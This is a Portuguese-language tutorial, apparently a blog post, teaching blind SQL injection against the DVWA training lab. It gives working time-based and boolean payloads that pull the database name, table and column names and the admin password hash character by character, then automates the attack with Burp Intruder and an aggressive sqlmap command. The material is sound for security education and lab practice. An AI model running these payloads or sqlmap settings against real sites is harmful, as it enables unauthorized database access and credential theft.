Blind SQL Injection é a injection que não vemos nada nas respostas da plataforma, o que torna esse tipo de vulnerabilidade mais complicada que uma SQL Injection “comum”. Vamos entender novas maneiras de extrair as informações e como gerar pequenas alterações para confirmas nossos comandos.
Lembra do nosso caso utilizando o Union?
SELECT nome, sobrenome FROM Usuários WHERE user_id = '2' UNION SELECT usuario,senha FROM Usuários-- -
Onde apenas fechamos a query de user_id antes do esperado a depois incluímos os dados que queríamos no nosso Payload.
O problema aqui é que mesmo que eu faça isso, a plataforma não retorna nenhum valor, então não conseguimos utilizar esse mesmo ataque, afinal eu não vou conseguir ver nenhum dado do Banco.
Mas como vamos extrair dados nesses casos? Podemos criar querys para o banco utilizando algumas técnicas e ver o comportamento da plataforma e assim determinar se algum valor é de fato presente ou se apenas não existe.
Uma maneira de descobrir novos dados é utilizar o Sleep ou na veradde qualquer comando que execute baseado na resposta verdadeira do primeiro argumento, que nesse caso é o ID existir ou não.
Então se utilizarmos o seguinte payload;
1' and sleep(5)-- -
A plataforma só vai demorar 5 segundos a mais para responder se o ID 1 existir, se colocarmos um id qualquer ela não segura os 5 segundos
Agora vem a parte chata de Blind Sql Injections, a única maneira que conseguimos extrair algum dado aqui é gerando um erro ou uma resposta diferente, mas sem ver o que de fato isso foi retornado.
Então vamos utilizar uma técnica chamada de BruteForce para encontrar os valores dependendo da plataforma gerar ou não um erro, calma que eu já vou explicar.
Como temos uma maneira de ver se a nossa query deu um resultado positivo ou negativo, podemos começar a fazer perguntas de SIM ou NÃO.
E utilizando essas respostas extrair os nossos tão desejados dados.
Assumindo que a gente já saiba a palavra, fica fácil! Você pergunta ao banco, a tabela “users” está ai? Se ele responder com um OK você sabe que sim. Mas isso é um caso irreal, você nunca parte do principio de que o nome da tabela é conhecido.
Então e agora?
Agora jogamos um jogo da forca com o banco de dados letra por letra e símbolo por símbolo. Até descobrirmos tudo que precisamos.
Algo como: “A primeira letra está entre um A e um M? Não? Então entre M e Z? Sim” e assim por diante!
E faremos isso para cada Char na palavra.
Então você entendeu a razão de Blind SQLi ser muito chato?
Vamos ver isso na prática
Primeiro quantos chars são o nome do BD, precisamos descobrir isso para limitar as nossas buscas. Do nosso MySQL sabemos que nesse caso o banco chama “dvwa” então 4 chars!
Mas em um caso real tentariamos encontrar utilizando os simbolos > e <.
Da Seguinte forma:
O valor é maior que 3? Sim
O valor é maior que 5? Não
E vamos limitando a busca até encontrar o ponto onde o valor anterior é diferente do output do próximo, que nesse caso seria no número 3 onde o número 4 vai alterar o output, logo ele é o o correto.
Podemos testar utilizando o sinal de “=” para confirmar a nossa escolha
Para os meus amigos engenheiros esse método é parecido com a convergência em métodos numéricos.
1' and length(database()) <>= ASCII-- -
1' and length(database())=4-- -
Lembrando que vamos utilizar o valor decimal da tabela ASCII das letras.
Onde por exemplo 100 = d
Ok sabemos o tamanho do nome, agora vamos encontrar todas as letras utilizando o mesmo procedimento mas alterando um pouco o comando.
1' and ascii(substr(database(),1,1)) <>= ASCII-- -
1' and ascii(substr(database(),1,1))=100-- -
1'+and+ascii(substr(database(),2,1))=118-- -
1'+and+ascii(substr(database(),3,1))=119-- -
1'+and+ascii(substr(database(),4,1))=97-- -
Continuamos o mesmo processo para o nome da tabela, depois da colunas e de fato os valores como a senha do Admin
Mas vou expressar apenas os comandos aqui, já que isso levaria muito tempo!
Para descobrir quantas tabelas esse banco tem:
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')<>= ASCII-- -
Para descobrir o tamanho do nome de cada tabela
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))<>= ASCII-- -
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1))<>= ASCII-- -
Para descobrir o nome:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<>= ASCII-- -
O número de linhas na tabela
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')<>= ASCII-- -
Para os nomes das Colunas é o mesmo procedimento, mas se você quiser confirmar direto o nome seria assim:
Para descobrir as letras você encapsularia essa chamada em substr exatamente como as outras
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
Mesma coisa para a coluna “password”
1' and (select count(*) from users where user='admin' and password='5f4dcc3b5aa765d61d8327deb882cf99')=1
Mas você entendeu exatamente agora o que eu quis dizer quando eu falei que isso era chato? É extremamente repetitivo e bem “Manual”
Então como um bom nerd de computador, quando algo é chato e repetitivo. Automatizamos!
Ferramentas
Burp
Ainda no contexto da Blind SQLi vamos utilizar o Burp como a nossa ferramenta de bruteforcing para colocar os valores da tabela ASCII
Vamos iniciar o Burp e interceptar uma requisição utilizando um payload qualquer como:
1' and ascii(substr(database(),1,1))=1-- -
Agora enviamos esse request para o Intruder
Aqui no Intruder entramos no Positions e damos um clear para limpar as entradas.
Agora vamos até o nosso “1” que preenchemos, selecionamos ele e clicamos em Add
Alterando para o Payloads, configure como uma entrada só e agora precisamos dos números. Você pode gerar eles da maneira que você quiser, eu vou fazer isso com um script de bash para imprimir os números de 50 até 120.
Com os valores no seu CTRL+C você pode clicar em “Paste” ou Load para carregar um arquivo como txt.
Dentro dos payloads você tem pode alterar para “Number” definir um número inicial, um número final e o Step. Mas que graça teria? Hehe
┌──(root💀kali)-[/home/kali/Desktop]
└─# for i in {50..120}; do echo "$i";done | xclip -sel clipboard
E agora “Start Attack!”
O Burp é bem lento, principalmente a versão Free. Ele vai demorar bastante mas eventualmente você vai perceber uma mudança de resposta entre o 99 para 100 no caso desse payload.
Mesmo que a resposta fosse igual como 200 para todos, o Length alteraria. Assim sabemos que o número é o 100
Qualquer ferramenta de Brute Forcing poderia ajudar aqui, até mesmo um Script em python.
SQL Map
A melhor ferramenta para automação de SQL Injection é o SQLMap
Ele tem diversas opções e facilita muito a nossa vida.
A melhor parte? Ele não só encontra e diz que existe a vulnerabilidade mas também Faz o Brute Force para encontrar as palavras caso seja uma BLIND SQLi e ainda tenta resolver as hashes para você.
Podemos checar o help com o -h
Você pode passar os parametros utilizando as flags como -u para a URL do DVWA, mas eu uso outra forma que é bem mais simples.
Intercepte a request correta (Sem Nenhum payload) no seu Burp
Clique com o botão direito e em “Copy To File”
Agora é só passar esse arquivo para o SqlMap (Nesse caso eu chamei ele de blind.req)
sqlmap -r blind.req --batch --level 5 --risk 3
–batch : Não fica perguntando se você quer continuar ou não.
–level e –risk : É para ser mais “agressivo” cuidado com esse pois ele pode derrubar o sistema
Esse comando vai encontrar a vulnerabilidade mas não explorar ela. Agora se você adicionar o “-a” para todos os ataques. o SqlMap
Outro detalhe é que o SQL Map funcionaria da mesma forma para a outra SQL que encontramos no vídeo anterior. Não precisa ser apenas uma BlindSql